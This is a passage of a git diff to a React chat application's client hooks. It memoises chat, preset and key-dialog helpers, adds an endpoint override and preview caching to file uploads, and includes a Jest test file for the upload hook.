- const { ask, regenerate } = useChatFunctions({
+ const { ask: _ask, regenerate: _regenerate } = useChatFunctions({
index,
files,
setFiles,
@@ -90,8 +88,20 @@ export default function useChatHelpers(index = 0, paramId?: string) {
setLatestMessage,
});
- const continueGeneration = () => {
- if (!latestMessage) {
+ const askRef = useRef(_ask);
+ askRef.current = _ask;
+ const ask: typeof _ask = useCallback((...args) => askRef.current(...args), []);
+
+ const regenerateRef = useRef(_regenerate);
+ regenerateRef.current = _regenerate;
+ const regenerate: typeof _regenerate = useCallback(
+ (...args) => regenerateRef.current(...args),
+ [],
+ );
+
+ const continueGeneration = useCallback(() => {
+ const currentLatest = latestMessageRef.current;
+ if (!currentLatest) {
console.error('Failed to regenerate the message: latestMessage not found.');
return;
}
@@ -99,7 +109,7 @@ export default function useChatHelpers(index = 0, paramId?: string) {
const messages = getMessages();
const parentMessage = messages?.find(
- (element) => element.messageId == latestMessage.parentMessageId,
+ (element) => element.messageId == currentLatest.parentMessageId,
);
if (parentMessage && parentMessage.isCreatedByUser) {
@@ -109,7 +119,7 @@ export default function useChatHelpers(index = 0, paramId?: string) {
'Failed to regenerate the message: parentMessage not found, or not created by user.',
);
}
- };
+ }, [getMessages, ask]);
/**
* Stop generation - for non-assistants endpoints, calls abort endpoint first.
@@ -153,64 +163,107 @@ export default function useChatHelpers(index = 0, paramId?: string) {
}
}, [conversationId, endpoint, endpointType, abortMutation, clearAllSubmissions, queryClient]);
- const handleStopGenerating = (e: React.MouseEvent) => {
- e.preventDefault();
- stopGenerating();
- };
+ const handleStopGenerating = useCallback(
+ (e: React.MouseEvent) => {
+ e.preventDefault();
+ stopGenerating();
+ },
+ [stopGenerating],
+ );
- const handleRegenerate = (e: React.MouseEvent) => {
- e.preventDefault();
- const parentMessageId = latestMessage?.parentMessageId ?? '';
- if (!parentMessageId) {
- console.error('Failed to regenerate the message: parentMessageId not found.');
- return;
- }
- regenerate({ parentMessageId });
- };
+ const handleRegenerate = useCallback(
+ (e: React.MouseEvent) => {
+ e.preventDefault();
+ const parentMessageId = latestMessageRef.current?.parentMessageId ?? '';
+ if (!parentMessageId) {
+ console.error('Failed to regenerate the message: parentMessageId not found.');
+ return;
+ }
+ regenerate({ parentMessageId });
+ },
+ [regenerate],
+ );
- const handleContinue = (e: React.MouseEvent) => {
- e.preventDefault();
- continueGeneration();
- setSiblingIdx(0);
- };
+ const handleContinue = useCallback(
+ (e: React.MouseEvent) => {
+ e.preventDefault();
+ continueGeneration();
+ setSiblingIdx(0);
+ },
+ [continueGeneration, setSiblingIdx],
+ );
const [preset, setPreset] = useRecoilState(store.presetByIndex(index));
const [showPopover, setShowPopover] = useRecoilState(store.showPopoverFamily(index));
const [abortScroll, setAbortScroll] = useRecoilState(store.abortScrollFamily(index));
const [optionSettings, setOptionSettings] = useRecoilState(store.optionSettingsFamily(index));
- return {
- newConversation,
- conversation,
- setConversation,
- // getConvos,
- // setConvos,
- isSubmitting,
- setIsSubmitting,
- getMessages,
- setMessages,
- setSiblingIdx,
- latestMessage,
- setLatestMessage,
- resetLatestMessage,
- ask,
- index,
- regenerate,
- stopGenerating,
- handleStopGenerating,
- handleRegenerate,
- handleContinue,
- showPopover,
- setShowPopover,
- abortScroll,
- setAbortScroll,
- preset,
- setPreset,
- optionSettings,
- setOptionSettings,
- files,
- setFiles,
- filesLoading,
- setFilesLoading,
- };
+ return useMemo(
+ () => ({
+ newConversation,
+ conversation,
+ setConversation,
+ isSubmitting,
+ setIsSubmitting,
+ getMessages,
+ setMessages,
+ setSiblingIdx,
+ latestMessageId,
+ latestMessageDepth,
+ setLatestMessage,
+ resetLatestMessage,
+ ask,
+ index,
+ regenerate,
+ stopGenerating,
+ handleStopGenerating,
+ handleRegenerate,
+ handleContinue,
+ showPopover,
+ setShowPopover,
+ abortScroll,
+ setAbortScroll,
+ preset,
+ setPreset,
+ optionSettings,
+ setOptionSettings,
+ files,
+ setFiles,
+ filesLoading,
+ setFilesLoading,
+ }),
+ [
+ newConversation,
+ conversation,
+ setConversation,
+ isSubmitting,
+ setIsSubmitting,
+ getMessages,
+ setMessages,
+ setSiblingIdx,
+ latestMessageId,
+ latestMessageDepth,
+ setLatestMessage,
+ resetLatestMessage,
+ ask,
+ index,
+ regenerate,
+ stopGenerating,
+ handleStopGenerating,
+ handleRegenerate,
+ handleContinue,
+ showPopover,
+ setShowPopover,
+ abortScroll,
+ setAbortScroll,
+ preset,
+ setPreset,
+ optionSettings,
+ setOptionSettings,
+ files,
+ setFiles,
+ filesLoading,
+ setFilesLoading,
+ ],
+ );
}
diff --git a/client/src/hooks/Conversations/index.ts b/client/src/hooks/Conversations/index.ts
index 6c35ad5da9..2659ace457 100644
--- a/client/src/hooks/Conversations/index.ts
+++ b/client/src/hooks/Conversations/index.ts
@@ -4,6 +4,7 @@ export { default as useDefaultConvo } from './useDefaultConvo';
export { default as useSearchEnabled } from './useSearchEnabled';
export { default as useGenerateConvo } from './useGenerateConvo';
export { default as useDebouncedInput } from './useDebouncedInput';
+export { default as useGetConversation } from './useGetConversation';
export { default as useBookmarkSuccess } from './useBookmarkSuccess';
export { default as useNavigateToConvo } from './useNavigateToConvo';
export { default as useSetIndexOptions } from './useSetIndexOptions';
diff --git a/client/src/hooks/Conversations/useDefaultConvo.ts b/client/src/hooks/Conversations/useDefaultConvo.ts
index 67a40ce64e..697854924b 100644
--- a/client/src/hooks/Conversations/useDefaultConvo.ts
+++ b/client/src/hooks/Conversations/useDefaultConvo.ts
@@ -1,3 +1,4 @@
+import { useCallback } from 'react';
import { useGetModelsQuery } from 'librechat-data-provider/react-query';
import { excludedKeys, getDefaultParamsEndpoint } from 'librechat-data-provider';
import type {
@@ -22,57 +23,55 @@ const useDefaultConvo = () => {
const { data: endpointsConfig = {} as TEndpointsConfig } = useGetEndpointsQuery();
const { data: modelsConfig = {} as TModelsConfig } = useGetModelsQuery();
- const getDefaultConversation = ({
- conversation: _convo,
- preset,
- cleanInput,
- cleanOutput,
- }: TDefaultConvo) => {
- const endpoint = getDefaultEndpoint({
- convoSetup: preset as TPreset,
- endpointsConfig,
- });
+ const getDefaultConversation = useCallback(
+ ({ conversation: _convo, preset, cleanInput, cleanOutput }: TDefaultConvo) => {
+ const endpoint = getDefaultEndpoint({
+ convoSetup: preset as TPreset,
+ endpointsConfig,
+ });
- const models = modelsConfig[endpoint ?? ''] || [];
- const conversation = { ..._convo };
- if (cleanInput === true) {
- for (const key in conversation) {
+ const models = modelsConfig[endpoint ?? ''] || [];
+ const conversation = { ..._convo };
+ if (cleanInput === true) {
+ for (const key in conversation) {
+ if (excludedKeys.has(key) && !exceptions.has(key)) {
+ continue;
+ }
+ if (conversation[key] == null) {
+ continue;
+ }
+ conversation[key] = undefined;
+ }
+ }
+
+ const defaultParamsEndpoint = getDefaultParamsEndpoint(endpointsConfig, endpoint);
+
+ const defaultConvo = buildDefaultConvo({
+ conversation: conversation as TConversation,
+ endpoint,
+ lastConversationSetup: preset as TConversation,
+ models,
+ defaultParamsEndpoint,
+ });
+
+ if (!cleanOutput) {
+ return defaultConvo;
+ }
+
+ for (const key in defaultConvo) {
if (excludedKeys.has(key) && !exceptions.has(key)) {
continue;
}
- if (conversation[key] == null) {
+ if (defaultConvo[key] == null) {
continue;
}
- conversation[key] = undefined;
+ defaultConvo[key] = undefined;
}
- }
- const defaultParamsEndpoint = getDefaultParamsEndpoint(endpointsConfig, endpoint);
-
- const defaultConvo = buildDefaultConvo({
- conversation: conversation as TConversation,
- endpoint,
- lastConversationSetup: preset as TConversation,
- models,
- defaultParamsEndpoint,
- });
-
- if (!cleanOutput) {
return defaultConvo;
- }
-
- for (const key in defaultConvo) {
- if (excludedKeys.has(key) && !exceptions.has(key)) {
- continue;
- }
- if (defaultConvo[key] == null) {
- continue;
- }
- defaultConvo[key] = undefined;
- }
-
- return defaultConvo;
- };
+ },
+ [endpointsConfig, modelsConfig],
+ );
return getDefaultConversation;
};
diff --git a/client/src/hooks/Conversations/useGetConversation.ts b/client/src/hooks/Conversations/useGetConversation.ts
new file mode 100644
index 0000000000..3b63e79f7f
--- /dev/null
+++ b/client/src/hooks/Conversations/useGetConversation.ts
@@ -0,0 +1,14 @@
+import { useRecoilCallback } from 'recoil';
+import type { TConversation } from 'librechat-data-provider';
+import store from '~/store';
+
+export default function useGetConversation(index: string | number = 0) {
+ return useRecoilCallback(
+ ({ snapshot }) =>
+ () =>
+ snapshot
+ .getLoadable(store.conversationByKeySelector(index))
+ .getValue() as TConversation | null,
+ [index],
+ );
+}
diff --git a/client/src/hooks/Conversations/usePresets.ts b/client/src/hooks/Conversations/usePresets.ts
index 90ca5ab132..2165e1966e 100644
--- a/client/src/hooks/Conversations/usePresets.ts
+++ b/client/src/hooks/Conversations/usePresets.ts
@@ -13,19 +13,20 @@ import {
useGetPresetsQuery,
} from '~/data-provider';
import { cleanupPreset, removeUnavailableTools, getConvoSwitchLogic } from '~/utils';
+import useGetConversation from '~/hooks/Conversations/useGetConversation';
import useDefaultConvo from '~/hooks/Conversations/useDefaultConvo';
import { useAuthContext } from '~/hooks/AuthContext';
import { NotificationSeverity } from '~/common';
import useNewConvo from '~/hooks/useNewConvo';
-import { useChatContext } from '~/Providers';
import { useLocalize } from '~/hooks';
import store from '~/store';
-export default function usePresets() {
+export default function usePresets(index = 0) {
const localize = useLocalize();
const hasLoaded = useRef(false);
const queryClient = useQueryClient();
const { showToast } = useToastContext();
+ const getConversation = useGetConversation(index);
const { user, isAuthenticated } = useAuthContext();
const [showDeleteDialog, setShowDeleteDialog] = useState(false);
const [presetToDelete, setPresetToDelete] = useState(null);
@@ -35,7 +36,9 @@ export default function usePresets() {
const setPresetModalVisible = useSetRecoilState(store.presetModalVisible);
const [_defaultPreset, setDefaultPreset] = useRecoilState(store.defaultPreset);
const presetsQuery = useGetPresetsQuery({ enabled: !!user && isAuthenticated });
- const { preset, conversation, index, setPreset } = useChatContext();
+ const preset = useRecoilValue(store.presetByIndex(index));
+ const setPreset = useSetRecoilState(store.presetByIndex(index));
+ const conversationId = useRecoilValue(store.conversationIdByIndex(index));
const { data: modelsData } = useGetModelsQuery();
const { newConversation } = useNewConvo(index);
@@ -60,13 +63,13 @@ export default function usePresets() {
return;
}
setDefaultPreset(defaultPreset);
- if (!conversation?.conversationId || conversation.conversationId === 'new') {
+ if (!conversationId || conversationId === 'new') {
newConversation({ preset: defaultPreset, modelsData, disableParams: true });
}
hasLoaded.current = true;
// dependencies are stable and only needed once
// eslint-disable-next-line react-hooks/exhaustive-deps
- }, [presetsQuery.data, user, modelsData]);
+ }, [presetsQuery.data, user, modelsData, conversationId]);
const setPresets = useCallback(
(presets: TPreset[]) => {
@@ -164,6 +167,7 @@ export default function usePresets() {
return;
}
+ const conversation = getConversation();
const newPreset = removeUnavailableTools(_newPreset, availableTools);
const toastTitle = newPreset.title
diff --git a/client/src/hooks/Endpoint/useKeyDialog.ts b/client/src/hooks/Endpoint/useKeyDialog.ts
index d783320fd6..89a156f57a 100644
--- a/client/src/hooks/Endpoint/useKeyDialog.ts
+++ b/client/src/hooks/Endpoint/useKeyDialog.ts
@@ -1,4 +1,4 @@
-import { useState, useCallback } from 'react';
+import { useState, useCallback, useMemo } from 'react';
import { EModelEndpoint } from 'librechat-data-provider';
export const useKeyDialog = () => {
@@ -15,24 +15,30 @@ export const useKeyDialog = () => {
[],
);
- const onOpenChange = (open: boolean) => {
- if (!open && keyDialogEndpoint) {
- const button = document.getElementById(`endpoint-${keyDialogEndpoint}-settings`);
- if (button) {
- setTimeout(() => {
- button.focus();
- }, 5);
+ const onOpenChange = useCallback(
+ (open: boolean) => {
+ if (!open && keyDialogEndpoint) {
+ const button = document.getElementById(`endpoint-${keyDialogEndpoint}-settings`);
+ if (button) {
+ setTimeout(() => {
+ button.focus();
+ }, 5);
+ }
}
- }
- setKeyDialogOpen(open);
- };
+ setKeyDialogOpen(open);
+ },
+ [keyDialogEndpoint],
+ );
- return {
- keyDialogOpen,
- keyDialogEndpoint,
- onOpenChange,
- handleOpenKeyDialog,
- };
+ return useMemo(
+ () => ({
+ keyDialogOpen,
+ keyDialogEndpoint,
+ onOpenChange,
+ handleOpenKeyDialog,
+ }),
+ [keyDialogOpen, keyDialogEndpoint, onOpenChange, handleOpenKeyDialog],
+ );
};
export default useKeyDialog;
diff --git a/client/src/hooks/Files/__tests__/useFileHandling.test.ts b/client/src/hooks/Files/__tests__/useFileHandling.test.ts
new file mode 100644
index 0000000000..0a07c5f2b4
--- /dev/null
+++ b/client/src/hooks/Files/__tests__/useFileHandling.test.ts
@@ -0,0 +1,289 @@
+import { renderHook, act } from '@testing-library/react';
+import { Constants, EModelEndpoint, getEndpointFileConfig } from 'librechat-data-provider';
+
+beforeAll(() => {
+ global.URL.createObjectURL = jest.fn(() => 'blob:mock-url');
+ global.URL.revokeObjectURL = jest.fn();
+});
+
+const mockShowToast = jest.fn();
+const mockSetFilesLoading = jest.fn();
+const mockMutate = jest.fn();
+
+let mockConversation: Record = {};
+
+jest.mock('~/Providers/ChatContext', () => ({
+ useChatContext: jest.fn(() => ({
+ files: new Map(),
+ setFiles: jest.fn(),
+ setFilesLoading: mockSetFilesLoading,
+ conversation: mockConversation,
+ })),
+}));
+
+jest.mock('@librechat/client', () => ({
+ useToastContext: jest.fn(() => ({
+ showToast: mockShowToast,
+ })),
+}));
+
+jest.mock('recoil', () => ({
+ ...jest.requireActual('recoil'),
+ useSetRecoilState: jest.fn(() => jest.fn()),
+}));
+
+jest.mock('~/store', () => ({
+ ephemeralAgentByConvoId: jest.fn(() => ({ key: 'mock' })),
+}));
+
+jest.mock('@tanstack/react-query', () => ({
+ useQueryClient: jest.fn(() => ({
+ getQueryData: jest.fn(),
+ refetchQueries: jest.fn(),
+ })),
+}));
+
+jest.mock('~/data-provider', () => ({
+ useGetFileConfig: jest.fn(() => ({ data: null })),
+ useUploadFileMutation: jest.fn((_opts: Record) => ({
+ mutate: mockMutate,
+ })),
+}));
+
+jest.mock('~/hooks/useLocalize', () => {
+ const fn = jest.fn((key: string) => key) as jest.Mock & {
+ TranslationKeys: Record;
+ };
+ fn.TranslationKeys = {};
+ return { __esModule: true, default: fn, TranslationKeys: {} };
+});
+
+jest.mock('../useDelayedUploadToast', () => ({
+ useDelayedUploadToast: jest.fn(() => ({
+ startUploadTimer: jest.fn(),
+ clearUploadTimer: jest.fn(),
+ })),
+}));
+
+jest.mock('~/utils/heicConverter', () => ({
+ processFileForUpload: jest.fn(async (file: File) => file),
+}));
+
+jest.mock('../useClientResize', () => ({
+ __esModule: true,
+ default: jest.fn(() => ({
+ resizeImageIfNeeded: jest.fn(async (file: File) => ({ file, resized: false })),
+ })),
+}));
+
+jest.mock('../useUpdateFiles', () => ({
+ __esModule: true,
+ default: jest.fn(() => ({
+ addFile: jest.fn(),
+ replaceFile: jest.fn(),
+ updateFileById: jest.fn(),
+ deleteFileById: jest.fn(),
+ })),
+}));
+
+jest.mock('~/utils', () => ({
+ logger: { log: jest.fn() },
+ validateFiles: jest.fn(() => true),
+ cachePreview: jest.fn(),
+ getCachedPreview: jest.fn(() => undefined),
+}));
+
+const mockValidateFiles = jest.requireMock('~/utils').validateFiles;
+
+describe('useFileHandling', () => {
+ beforeEach(() => {
+ jest.clearAllMocks();
+ mockConversation = {};
+ });
+
+ const loadHook = async () => (await import('../useFileHandling')).default;
+
+ describe('endpointOverride', () => {
+ it('uses conversation endpoint when no override is provided', async () => {
+ mockConversation = {
+ conversationId: 'convo-1',
+ endpoint: 'openAI',
+ endpointType: 'custom',
+ };
+
+ const useFileHandling = await loadHook();
+ const { result } = renderHook(() => useFileHandling());
+
+ const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
+
+ await act(async () => {
+ await result.current.handleFiles([textFile]);
+ });
+
+ expect(mockValidateFiles).toHaveBeenCalledTimes(1);
+ const validateCall = mockValidateFiles.mock.calls[0][0];
+ const configResult = getEndpointFileConfig({
+ endpoint: 'openAI',
+ endpointType: 'custom',
+ fileConfig: null,
+ });
+ expect(validateCall.endpointFileConfig).toEqual(configResult);
+ });
+
+ it('uses endpointOverride for validation instead of conversation endpoint', async () => {
+ mockConversation = {
+ conversationId: 'convo-1',
+ endpoint: 'openAI',
+ endpointType: 'custom',
+ };
+
+ const useFileHandling = await loadHook();
+ const { result } = renderHook(() =>
+ useFileHandling({ endpointOverride: EModelEndpoint.agents }),
+ );
+
+ const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
+
+ await act(async () => {
+ await result.current.handleFiles([textFile]);
+ });
+
+ expect(mockValidateFiles).toHaveBeenCalledTimes(1);
+ const validateCall = mockValidateFiles.mock.calls[0][0];
+ const agentsConfig = getEndpointFileConfig({
+ endpoint: EModelEndpoint.agents,
+ endpointType: EModelEndpoint.agents,
+ fileConfig: null,
+ });
+ expect(validateCall.endpointFileConfig).toEqual(agentsConfig);
+ });
+
+ it('falls back to conversation endpoint when endpointOverride is undefined', async () => {
+ mockConversation = {
+ conversationId: 'convo-1',
+ endpoint: 'anthropic',
+ endpointType: undefined,
+ };
+
+ const useFileHandling = await loadHook();
+ const { result } = renderHook(() => useFileHandling({ endpointOverride: undefined }));
+
+ const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
+
+ await act(async () => {
+ await result.current.handleFiles([textFile]);
+ });
+
+ expect(mockValidateFiles).toHaveBeenCalledTimes(1);
+ const validateCall = mockValidateFiles.mock.calls[0][0];
+ const anthropicConfig = getEndpointFileConfig({
+ endpoint: 'anthropic',
+ endpointType: undefined,
+ fileConfig: null,
+ });
+ expect(validateCall.endpointFileConfig).toEqual(anthropicConfig);
+ });
+
+ it('sends correct endpoint in upload form data when override is set', async () => {
+ mockConversation = {
+ conversationId: 'convo-1',
+ endpoint: 'openAI',
+ endpointType: 'custom',
+ };
+
+ const useFileHandling = await loadHook();
+ const { result } = renderHook(() =>
+ useFileHandling({
+ endpointOverride: EModelEndpoint.agents,
+ additionalMetadata: { agent_id: 'agent-123' },
+ }),
+ );
+
+ const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
+
+ await act(async () => {
+ await result.current.handleFiles([textFile]);
+ });
+
+ expect(mockMutate).toHaveBeenCalledTimes(1);
+ const formData: FormData = mockMutate.mock.calls[0][0];
+ expect(formData.get('endpoint')).toBe(EModelEndpoint.agents);
+ expect(formData.get('endpointType')).toBe(EModelEndpoint.agents);
+ });
+
+ it('does not enter assistants upload path when override is agents', async () => {
+ mockConversation = {
+ conversationId: 'convo-1',
+ endpoint: 'assistants',
+ endpointType: 'assistants',
+ };
+
+ const useFileHandling = await loadHook();
+ const { result } = renderHook(() =>
+ useFileHandling({
+ endpointOverride: EModelEndpoint.agents,
+ additionalMetadata: { agent_id: 'agent-123' },
+ }),
+ );
+
+ const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
+
+ await act(async () => {
+ await result.current.handleFiles([textFile]);
+ });
+
+ expect(mockMutate).toHaveBeenCalledTimes(1);
+ const formData: FormData = mockMutate.mock.calls[0][0];
+ expect(formData.get('endpoint')).toBe(EModelEndpoint.agents);
+ expect(formData.get('message_file')).toBeNull();
+ expect(formData.get('version')).toBeNull();
+ expect(formData.get('model')).toBeNull();
+ expect(formData.get('assistant_id')).toBeNull();
+ });
+
+ it('enters assistants path without override when conversation is assistants', async () => {
+ mockConversation = {
+ conversationId: 'convo-1',
+ endpoint: 'assistants',
+ endpointType: 'assistants',
+ assistant_id: 'asst-456',
+ model: 'gpt-4',
+ };
+
+ const useFileHandling = await loadHook();
+ const { result } = renderHook(() => useFileHandling());
+
+ const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
+
+ await act(async () => {
+ await result.current.handleFiles([textFile]);
+ });
+
+ expect(mockMutate).toHaveBeenCalledTimes(1);
+ const formData: FormData = mockMutate.mock.calls[0][0];
+ expect(formData.get('endpoint')).toBe('assistants');
+ expect(formData.get('message_file')).toBe('true');
+ });
+
+ it('falls back to "default" when no conversation endpoint and no override', async () => {
+ mockConversation = {
+ conversationId: Constants.NEW_CONVO as string,
+ endpoint: null,
+ endpointType: undefined,
+ };
+
+ const useFileHandling = await loadHook();
+ const { result } = renderHook(() => useFileHandling());
+
+ const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
+
+ await act(async () => {
+ await result.current.handleFiles([textFile]);
+ });
+
+ expect(mockMutate).toHaveBeenCalledTimes(1);
+ const formData: FormData = mockMutate.mock.calls[0][0];
+ expect(formData.get('endpoint')).toBe('default');
+ });
+ });
+});
diff --git a/client/src/hooks/Files/useDragHelpers.ts b/client/src/hooks/Files/useDragHelpers.ts
index f931da408c..7c6c3bd155 100644
--- a/client/src/hooks/Files/useDragHelpers.ts
+++ b/client/src/hooks/Files/useDragHelpers.ts
@@ -13,6 +13,7 @@ import {
EModelEndpoint,
mergeFileConfig,
AgentCapabilities,
+ resolveEndpointType,
isAssistantsEndpoint,
getEndpointFileConfig,
defaultAgentCapabilities,
@@ -69,7 +70,19 @@ export default function useDragHelpers() {
(item: { files: File[] }) => {
/** Early block: leverage endpoint file config to prevent drag/drop on disabled endpoints */
const currentEndpoint = conversationRef.current?.endpoint ?? 'default';
- const currentEndpointType = conversationRef.current?.endpointType ?? undefined;
+ const endpointsConfig = queryClient.getQueryData([QueryKeys.endpoints]);
+
+ /** Get agent data from cache; if absent, provider-specific file config restrictions are bypassed client-side */
+ const agentId = conversationRef.current?.agent_id;
+ const agent = agentId
+ ? queryClient.getQueryData([QueryKeys.agent, agentId])
+ : undefined;
+
+ const currentEndpointType = resolveEndpointType(
+ endpointsConfig,
+ currentEndpoint,
+ agent?.provider,
+ );
const cfg = queryClient.getQueryData([QueryKeys.fileConfig]);
if (cfg) {
const mergedCfg = mergeFileConfig(cfg);
@@ -92,27 +105,21 @@ export default function useDragHelpers() {
return;
}
- const endpointsConfig = queryClient.getQueryData([QueryKeys.endpoints]);
const agentsConfig = endpointsConfig?.[EModelEndpoint.agents];
const capabilities = agentsConfig?.capabilities ?? defaultAgentCapabilities;
const fileSearchEnabled = capabilities.includes(AgentCapabilities.file_search) === true;
const codeEnabled = capabilities.includes(AgentCapabilities.execute_code) === true;
const contextEnabled = capabilities.includes(AgentCapabilities.context) === true;
- /** Get agent permissions at drop time */
- const agentId = conversationRef.current?.agent_id;
let fileSearchAllowedByAgent = true;
let codeAllowedByAgent = true;
if (agentId && !isEphemeralAgent(agentId)) {
- /** Agent data from cache */
- const agent = queryClient.getQueryData([QueryKeys.agent, agentId]);
if (agent) {
const agentTools = agent.tools as string[] | undefined;
fileSearchAllowedByAgent = agentTools?.includes(Tools.file_search) ?? false;
codeAllowedByAgent = agentTools?.includes(Tools.execute_code) ?? false;
} else {
- /** If agent exists but not found, disallow */
fileSearchAllowedByAgent = false;
codeAllowedByAgent = false;
}
diff --git a/client/src/hooks/Files/useFileDeletion.ts b/client/src/hooks/Files/useFileDeletion.ts
index 34d89e313b..c33ac2a50b 100644
--- a/client/src/hooks/Files/useFileDeletion.ts
+++ b/client/src/hooks/Files/useFileDeletion.ts
@@ -5,6 +5,7 @@ import type * as t from 'librechat-data-provider';
import type { UseMutateAsyncFunction } from '@tanstack/react-query';
import type { ExtendedFile, GenericSetter } from '~/common';
import useSetFilesToDelete from './useSetFilesToDelete';
+import { deletePreview } from '~/utils';
type FileMapSetter = GenericSetter>;
@@ -88,6 +89,11 @@ const useFileDeletion = ({
});
}
+ deletePreview(file_id);
+ if (temp_file_id) {
+ deletePreview(temp_file_id);
+ }
+
if (attached) {
return;
}
@@ -125,6 +131,11 @@ const useFileDeletion = ({
temp_file_id,
embedded: embedded ?? false,
});
+
+ deletePreview(file_id);
+ if (temp_file_id) {
+ deletePreview(temp_file_id);
+ }
}
if (setFiles) {
diff --git a/client/src/hooks/Files/useFileHandling.ts b/client/src/hooks/Files/useFileHandling.ts
index 4c65b80765..635937a6fa 100644
--- a/client/src/hooks/Files/useFileHandling.ts
+++ b/client/src/hooks/Files/useFileHandling.ts
@@ -13,15 +13,16 @@ import {
defaultAssistantsVersion,
} from 'librechat-data-provider';
import debounce from 'lodash/debounce';
-import type { TEndpointsConfig, TError } from 'librechat-data-provider';
+import type { EModelEndpoint, TEndpointsConfig, TError } from 'librechat-data-provider';
import type { ExtendedFile, FileSetter } from '~/common';
+import type { TConversation } from 'librechat-data-provider';
+import { logger, validateFiles, cachePreview, getCachedPreview, removePreviewEntry } from '~/utils';
import { useGetFileConfig, useUploadFileMutation } from '~/data-provider';
import useLocalize, { TranslationKeys } from '~/hooks/useLocalize';
import { useDelayedUploadToast } from './useDelayedUploadToast';
import { processFileForUpload } from '~/utils/heicConverter';
import { useChatContext } from '~/Providers/ChatContext';
import { ephemeralAgentByConvoId } from '~/store';
-import { logger, validateFiles } from '~/utils';
import useClientResize from './useClientResize';
import useUpdateFiles from './useUpdateFiles';
@@ -29,16 +30,30 @@ type UseFileHandling = {
fileSetter?: FileSetter;
fileFilter?: (file: File) => boolean;
additionalMetadata?: Record;
+ /** Overrides `endpoint` for upload routing; also used as `endpointType` fallback when `endpointTypeOverride` is not set */
+ endpointOverride?: EModelEndpoint | string;
+ /** Overrides `endpointType` independently from `endpointOverride` */
+ endpointTypeOverride?: EModelEndpoint | string;
};
-const useFileHandling = (params?: UseFileHandling) => {
+export type FileHandlingState = {
+ files: Map;
+ setFiles: FileSetter;
+ setFilesLoading?: React.Dispatch>;
+ conversation?: TConversation | null;
+};
+
+const noop = () => {};
+
+const useFileHandlingCore = (params: UseFileHandling | undefined, fileState: FileHandlingState) => {
const localize = useLocalize();
const queryClient = useQueryClient();
const { showToast } = useToastContext();
const [errors, setErrors] = useState([]);
const abortControllerRef = useRef(null);
const { startUploadTimer, clearUploadTimer } = useDelayedUploadToast();
- const { files, setFiles, setFilesLoading, conversation } = useChatContext();
+ const { files, setFiles, conversation } = fileState;
+ const setFilesLoading = fileState.setFilesLoading ?? noop;
const setEphemeralAgent = useSetRecoilState(
ephemeralAgentByConvoId(conversation?.conversationId ?? Constants.NEW_CONVO),
);
@@ -50,8 +65,16 @@ const useFileHandling = (params?: UseFileHandling) => {
const agent_id = params?.additionalMetadata?.agent_id ?? '';
const assistant_id = params?.additionalMetadata?.assistant_id ?? '';
- const endpointType = useMemo(() => conversation?.endpointType, [conversation?.endpointType]);
- const endpoint = useMemo(() => conversation?.endpoint ?? 'default', [conversation?.endpoint]);
+ const endpointOverride = params?.endpointOverride;
+ const endpointTypeOverride = params?.endpointTypeOverride;
+ const endpointType = useMemo(
+ () => endpointTypeOverride ?? endpointOverride ?? conversation?.endpointType,
+ [endpointTypeOverride, endpointOverride, conversation?.endpointType],
+ );
+ const endpoint = useMemo(
+ () => endpointOverride ?? conversation?.endpoint ?? 'default',
+ [endpointOverride, conversation?.endpoint],
+ );
const { data: fileConfig = null } = useGetFileConfig({
select: (data) => mergeFileConfig(data),
@@ -110,6 +133,11 @@ const useFileHandling = (params?: UseFileHandling) => {
);
setTimeout(() => {
+ const cachedBlob = getCachedPreview(data.temp_file_id);
+ if (cachedBlob && data.file_id !== data.temp_file_id) {
+ cachePreview(data.file_id, cachedBlob);
+ removePreviewEntry(data.temp_file_id);
+ }
updateFileById(
data.temp_file_id,
{
@@ -240,7 +268,6 @@ const useFileHandling = (params?: UseFileHandling) => {
replaceFile(extendedFile);
await startUpload(extendedFile);
- URL.revokeObjectURL(preview);
};
img.src = preview;
};
@@ -281,6 +308,7 @@ const useFileHandling = (params?: UseFileHandling) => {
try {
// Create initial preview with original file
const initialPreview = URL.createObjectURL(originalFile);
+ cachePreview(file_id, initialPreview);
// Create initial ExtendedFile to show immediately
const initialExtendedFile: ExtendedFile = {
@@ -358,6 +386,7 @@ const useFileHandling = (params?: UseFileHandling) => {
if (finalProcessedFile !== originalFile) {
URL.revokeObjectURL(initialPreview); // Clean up original preview
const newPreview = URL.createObjectURL(finalProcessedFile);
+ cachePreview(file_id, newPreview);
const updatedExtendedFile: ExtendedFile = {
...initialExtendedFile,
@@ -434,4 +463,20 @@ const useFileHandling = (params?: UseFileHandling) => {
};
};
+export const useFileHandlingNoChatContext = (
+ params: UseFileHandling | undefined,
+ fileState: FileHandlingState,
+) => useFileHandlingCore(params, fileState);
+
+const useFileHandling = (params?: UseFileHandling) => {
+ const { files, setFiles, setFilesLoading, conversation } = useChatContext();
+
+ return useFileHandlingCore(params, {
+ files,
+ setFiles,
+ conversation,
+ setFilesLoading,
+ });
+};
+
export default useFileHandling;
diff --git a/client/src/hooks/Files/useSharePointFileHandling.ts b/client/src/hooks/Files/useSharePointFileHandling.ts
index 11fc0915b7..a04ef0104b 100644
--- a/client/src/hooks/Files/useSharePointFileHandling.ts
+++ b/client/src/hooks/Files/useSharePointFileHandling.ts
@@ -1,13 +1,17 @@
import { useCallback } from 'react';
-import useFileHandling from './useFileHandling';
-import useSharePointDownload from './useSharePointDownload';
+import type { EModelEndpoint } from 'librechat-data-provider';
import type { SharePointFile } from '~/data-provider/Files/sharepoint';
+import type { FileHandlingState } from './useFileHandling';
+import useFileHandling, { useFileHandlingNoChatContext } from './useFileHandling';
+import useSharePointDownload from './useSharePointDownload';
interface UseSharePointFileHandlingProps {
fileSetter?: any;
toolResource?: string;
fileFilter?: (file: File) => boolean;
additionalMetadata?: Record;
+ endpointOverride?: EModelEndpoint | string;
+ endpointTypeOverride?: EModelEndpoint | string;
}
interface UseSharePointFileHandlingReturn {
@@ -21,6 +25,43 @@ export default function useSharePointFileHandling(
props?: UseSharePointFileHandlingProps,
): UseSharePointFileHandlingReturn {
const { handleFiles } = useFileHandling(props);
+ const { downloadSharePointFiles, isDownloading, downloadProgress, error } = useSharePointDownload(
+ {
+ onFilesDownloaded: async (downloadedFiles: File[]) => {
